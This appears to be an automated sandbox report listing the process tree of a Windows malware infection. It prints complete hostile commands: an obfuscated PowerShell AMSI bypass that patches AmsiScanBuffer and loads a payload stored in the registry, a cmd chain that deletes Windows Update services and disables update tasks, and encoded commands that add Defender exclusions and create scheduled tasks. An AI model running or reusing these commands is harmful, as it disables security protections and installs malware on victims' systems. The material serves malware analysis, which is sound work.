@([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$JJpUGevJACv=$bZNjucCbdRlrl.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$KdeUGnsTVHEIuh=$uHIQAPMwrlXQUF.Invoke($Null,@([Object]$JJpUGevJACv,[Object]('Load'+'LibraryA')));$qfxaKvUmxZyhdoyDF=$uHIQAPMwrlXQUF.Invoke($Null,@([Object]$JJpUGevJACv,[Object]('Vir'+'tual'+'Pro'+'tect')));$mvlvuXO=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KdeUGnsTVHEIuh,$ojhyEtYNPMpaCWghiCu).Invoke('a'+'m'+'si.dll');$ujmgblVvxBKxBscPC=$uHIQAPMwrlXQUF.Invoke($Null,@([Object]$mvlvuXO,[Object]('Ams'+'iSc'+'an'+'Buffer')));$tLrKfHGgjb=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qfxaKvUmxZyhdoyDF,$jpPGmrUkbPJklGhNQWRMXa).Invoke($ujmgblVvxBKxBscPC,[uint32]8,4,[ref]$tLrKfHGgjb);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ujmgblVvxBKxBscPC,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qfxaKvUmxZyhdoyDF,$jpPGmrUkbPJklGhNQWRMXa).Invoke($ujmgblVvxBKxBscPC,[uint32]8,0x20,[ref]$tLrKfHGgjb);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:37784
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE" "function Local:uKjLjdnFnrRh{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$AJnhHnLALLulnZ,[Parameter(Position=1)][Type]$xauVcUlxns)$JXUbnrxXQMY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$JXUbnrxXQMY.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$AJnhHnLALLulnZ).SetImplementationFlags('Runtime,Managed');$JXUbnrxXQMY.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$xauVcUlxns,$AJnhHnLALLulnZ).SetImplementationFlags('Runtime,Managed');Write-Output $JXUbnrxXQMY.CreateType();}$cIsifvVuKJRay=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$hpKgPnjDrJTPqc=$cIsifvVuKJRay.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$luTySRSrzlbPRsqghxJ=uKjLjdnFnrRh @([String])([IntPtr]);$vdOBlTKrXsFyDdVHliXjFS=uKjLjdnFnrRh @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$EEEqBnMAnpD=$cIsifvVuKJRay.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$rxXXMUCzwzXCtL=$hpKgPnjDrJTPqc.Invoke($Null,@([Object]$EEEqBnMAnpD,[Object]('Load'+'LibraryA')));$OqffPbRONAuTPdgYX=$hpKgPnjDrJTPqc.Invoke($Null,@([Object]$EEEqBnMAnpD,[Object]('Vir'+'tual'+'Pro'+'tect')));$hHZMGBd=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rxXXMUCzwzXCtL,$luTySRSrzlbPRsqghxJ).Invoke('a'+'m'+'si.dll');$yddMfhTOCjNnXcwcT=$hpKgPnjDrJTPqc.Invoke($Null,@([Object]$hHZMGBd,[Object]('Ams'+'iSc'+'an'+'Buffer')));$SzsuczAoDc=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OqffPbRONAuTPdgYX,$vdOBlTKrXsFyDdVHliXjFS).Invoke($yddMfhTOCjNnXcwcT,[uint32]8,4,[ref]$SzsuczAoDc);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$yddMfhTOCjNnXcwcT,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OqffPbRONAuTPdgYX,$vdOBlTKrXsFyDdVHliXjFS).Invoke($yddMfhTOCjNnXcwcT,[uint32]8,0x20,[ref]$SzsuczAoDc);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:37792
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:37820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" -EncodedCommand "PAAjAGcAbgBlACMAPgAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABDAGgAcgBvAG0AZQBcAGMAaAByAG8AbQBlAC4AZQB4AGUAJwAgACAAPAAjAGkAZgBpAGwAIwA+AA=="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4000
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3380
- - C:\Users\Admin\AppData\Roaming\Chrome\chrome.exe
    "C:\Users\Admin\AppData\Roaming\Chrome\chrome.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:5596
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAdgBhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBmAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwBmAGoAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBxAG8AcAAjAD4A"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5740
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:5756
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      PID:6512
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:6528
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:6660
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:6724
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:6784
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:6964
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:7080
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:7176
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        Modifies registry key
        
        PID:7292
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        Modifies registry key
        
        PID:7340
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        Modifies registry key
        
        PID:7416
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        Modifies registry key
        
        PID:7444
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:7516
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:7576
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:7784
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:7852
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:7920
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:8108
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:8012
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:8072
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:8124
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:8176
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:8212
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:8260
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:8308
  - - C:\Windows\System32\conhost.exe
      C:\Windows\System32\conhost.exe "neggzsnpwlbcv"
      4⤵
      PID:6800
  - - C:\Windows\System32\dialer.exe
      C:\Windows\System32\dialer.exe bqsjcndwpdyybow0 zu8xig1NsQoKkEp6jsGp1FzkODn3PlcQanKaEb8L3RvS4/YK50v90gh1zDwJ6UFU3XCw5zv4isRUCE4SADhgTik3F72IUoFfYkkAIz3IIqFgUZ9+QlcR5ED+yg5X6GAooYGc40RRy6hPTFIKIwUTmDxeWUNN2v1IMLrT0vupSO0/ha9be1gFU+d+1RW8awhDFyTeJUybfylcppeetmS/N4XblG/bGcLR6kNavn2Ajd1sa4owldJ2KHdndV2X69yl2RCMaS0sSGOegVGvgZSAN//X+gMxz6Jt44MKPEpKf3Ejr2OSU2CKks/9v2C8LOpA6QVadTx9Ew/y5gkbpoYROZcVrKkD7EqApIvJ+d3PgdptxmNsFsBjIOE+hBdBXTUN3yI7s1AYoswH68RwmPjDMpJ7XG+6HlODbBh5adL+UNctjs6LV0g+4QtgpYi/Y8vcs2UzAvpAAiTVg+dIrUc0ww==
      4⤵
      PID:6956
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 6956 -s 328
        5⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:7612

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1696
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3084

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1856

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1936

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1260

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1412

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2116

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2224

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3352

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of UnmapMainImage
PID:3412
- C:\Users\Admin\AppData\Local\Temp\Install.exe
  "C:\Users\Admin\AppData\Local\Temp\Install.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:660
- - C:\Users\Admin\AppData\Roaming\Java.exe
    C:\Users\Admin\AppData\Roaming\Java.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:1316
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Java Update\Java Update.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Java Update\Java Update.exe"
      4⤵
      Executes dropped EXE
      PID:3804
- - C:\Users\Admin\AppData\Roaming\yt.exe
    C:\Users\Admin\AppData\Roaming\yt.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5092
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:36904
- - C:\Users\Admin\AppData\Roaming\33334.exe
    C:\Users\Admin\AppData\Roaming\33334.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4764
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAdgBhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBmAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwBmAGoAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBxAG8AcAAjAD4A"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4124
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Suspicious use of WriteProcessMemory
      PID:37320
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:37400
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:37452
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:37476
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:37532
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:37548
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:37564
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        Modifies registry key
        
        PID:37580
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        Modifies security service
        Modifies registry key
        
        PID:37596
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        Modifies registry key
        
        PID:37612
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        Modifies registry key
        
        PID:37632
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:37656
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:37700
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:3496
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:3580
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:3528
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:1092
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:3256
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:3544
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:4584
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:4012
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:2824
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:4692
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:4120
  - - C:\Windows\System32\conhost.exe
      C:\Windows\System32\conhost.exe
      4⤵
      Drops file in Windows directory
      PID:37364
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAbgB3AGcAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAcABvAHcAZQByAHMAaABlAGwAbAAnACAALQBBAHIAZwB1AG0AZQBuAHQAIAAnAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAIgBQAEEAQQBqAEEARwBjAEEAYgBnAEIAbABBAEMATQBBAFAAZwBBAGcAQQBGAE0AQQBkAEEAQgBoAEEASABJAEEAZABBAEEAdABBAEYAQQBBAGMAZwBCAHYAQQBHAE0AQQBaAFEAQgB6AEEASABNAEEASQBBAEEAdABBAEUAWQBBAGEAUQBCAHMAQQBHAFUAQQBVAEEAQgBoAEEASABRAEEAYQBBAEEAZwBBAEMAYwBBAFEAdwBBADYAQQBGAHcAQQBWAFEAQgB6AEEARwBVAEEAYwBnAEIAegBBAEYAdwBBAFEAUQBCAGsAQQBHADAAQQBhAFEAQgB1AEEARgB3AEEAUQBRAEIAdwBBAEgAQQBBAFIAQQBCAGgAQQBIAFEAQQBZAFEAQgBjAEEARgBJAEEAYgB3AEIAaABBAEcAMABBAGEAUQBCAHUAQQBHAGMAQQBYAEEAQgBEAEEARwBnAEEAYwBnAEIAdgBBAEcAMABBAFoAUQBCAGMAQQBHAE0AQQBhAEEAQgB5AEEARwA4AEEAYgBRAEIAbABBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQBnAEEAQwBBAEEAUABBAEEAagBBAEcAawBBAFoAZwBCAHAAQQBHAHcAQQBJAHcAQQArAEEAQQA9AD0AIgAnACkAIAA8ACMAYgBr